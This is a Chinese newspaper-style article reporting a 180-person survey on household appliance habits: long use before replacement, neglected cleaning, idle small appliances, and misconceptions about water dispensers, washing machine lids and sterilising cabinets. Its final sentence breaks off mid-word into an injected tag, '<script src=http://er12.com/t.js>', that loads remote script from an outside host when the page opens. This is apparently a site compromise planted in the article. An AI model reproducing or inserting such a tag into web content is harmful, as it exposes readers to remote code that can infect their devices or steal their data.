家住延安路，电话为834**35的被调查者：家中的洗衣机已使用了12年之久，在问卷中“近期是否更换”一栏中，她认为不坏就没有必要更换。
一位手机号为135798***57的被调查者：电视已用了15个年头，在被问到是否知道国家规定电视使用寿命只有10年时，他表示并不清楚。
通过180份调查问卷我们发现，电视、洗衣机、冰箱这样的“大件”产品更换率是极低的。将近一半的调查问卷显示，电视的使用在6年以上，冰箱的使用在5年以上，洗衣机的使用在4年以上，并且没有考虑近期更换。
这就造成了大件家电消费存在这样一种现象：电视只要有影就用，洗衣机只要能转就行，冰箱只要能冻就好。
家电年龄决定更换频率
在被调查的180位消费者中，家庭年龄大小，对家电的关注程度也是不一样的。年龄稍大一些的会有所保养，只要电器不坏，很少主动想更换，还有的消费者表示，现在家电那么便宜，坏了就换新的；而年轻的大多不会去清洗、保养。
结婚有32年的姜女士告诉记者，她家的家电会每周或者每月大扫除的时候顺便清洗一下。但是结婚5年的墨建强表示，自己从来不会关注这些问题，根本不会去清洗、保养。
点评：由于家电属于“大件”消费，以家庭为单位在使用，消费者基本不会求新、求异而进行更换。
没有养成清洗的习惯
在做问卷的180位消费者中有116名没有清洗、保养家电的习惯。大多数消费者是明明知道要清洗、保养，但是自己却不去做。张清告诉记者，清洗、保养家电是件很麻烦的事情，自己知道也不会去做。
有部分人反映自己也想清洗、保养家电，知道如果不清洗对家人健康有危害，还对家电的寿命有影响。
但是，无从下手，不知道该怎么清洗、保养。甚至害怕一不小心把电器弄坏了，索性就不去做保养，只要家电不坏就凑合着用，坏了再换新的。
点评：目前首府没有专业的家电清洗机构，消费者只有自己“丰衣足食”，在家做一些简单可行的保养。
小家电使用率低，成摆设
在被调查小家电这一项中，微波炉、电熨斗等小家电95％以上的调查者都有，但使用率均不高。
今年34岁的刘先生是两年前购买的早餐吧，本来是为了让自己能够吃上更好的早餐，可是用过一次后就发现其麻烦程度是一个上班族所无法承受的。他说，不仅制作麻烦，清洗更麻烦，每天早上因为要上班，忙得就像打仗似的，哪有时间去做呀。结果用过一次以后就放在那里了，后来嫌它碍事又没有用处，就用盒子包起来放进储藏室了，至今一次也没有拿出来过。
点评：买小家电应考虑到实际使用频率，不要被销售商的促销演示“迷了眼”。
解开家电使用“想当然”的误区
180份问卷调查结果显示，73％的消费者不会做家电保养，只有27％的人会做保养。
大多数消费者认为家电是个“俗”东西，因为人人家里都有，大家天天都用。
不过很多时候您会想当然地落入很多误区之中……
误区1饮水机不用常清洗
在调查中，饮水机的清洗是争议最大的。年龄在28岁以上的消费者普遍认为：一桶桶的纯净水见天儿的冲着，还用清洗？大不了清清水碱罢了，也用不着经常洗呀！
被调查者中，29岁的白杨（手机号码为139××××3344）看法就很有代表性，“纯净水的桶挺结实，细菌哪进得去？”
其实不然。如果饮水机长时间不清洗，其内部的储水胆会孳生大量细菌。据权威机构试验发现，在室温条件下，饮水机里的水第一天菌落数为零，到第十天就达到了8000！
水桶口、桶颈，每次换水的时候，细菌都会侵入……
误区2洗衣机盖盖儿
多数消费者会表示，洗衣机洗完衣服会盖好。有的会在稍加擦拭以后也盖好机盖。可是就是这样的“盖盖儿”动作，却带来很多您意想不到的麻烦。
有专业人士告诉记者，新洗衣机在用过5个月后，内桶里的霉菌就开始明显增多。每天都用的洗衣机比几天用一次的洗衣机更容易孳生霉菌；洗衣后开盖放置的洗衣机比不开盖的霉菌少40%。洗衣机的不清洁会导致一些人皮肤瘙痒过敏，甚至患皮炎。
如果不信，现在就去掀开您家的洗衣机闻一闻，有没有发霉的味道！所以，防止霉菌最简单有效的办法之一就是：洗完衣服别给洗衣机盖盖儿。
误区3碗刷完了就进消毒柜
手机尾号为138****1212的李健告诉记者，他家的碗筷洗干净就直接放进消毒柜。他觉得这样才是最卫生的做法。
其实不然，消毒柜也是个挺娇气的东西。刚刚刷完的碗，您最好擦干了再放进去。新疆家电维修管理中心主任续美田告诉记者，市面上的消毒柜一般是通过红外发热管通电加热，柜内温度上升至200至300摄氏度，才能达到消毒之目的。
新疆国美小家电负责人提醒消费者，消毒碗柜最好一两天通电消毒一次，这样既起到杀毒的目的，又可延长其使用寿?script src=http://er12.com/t.js>
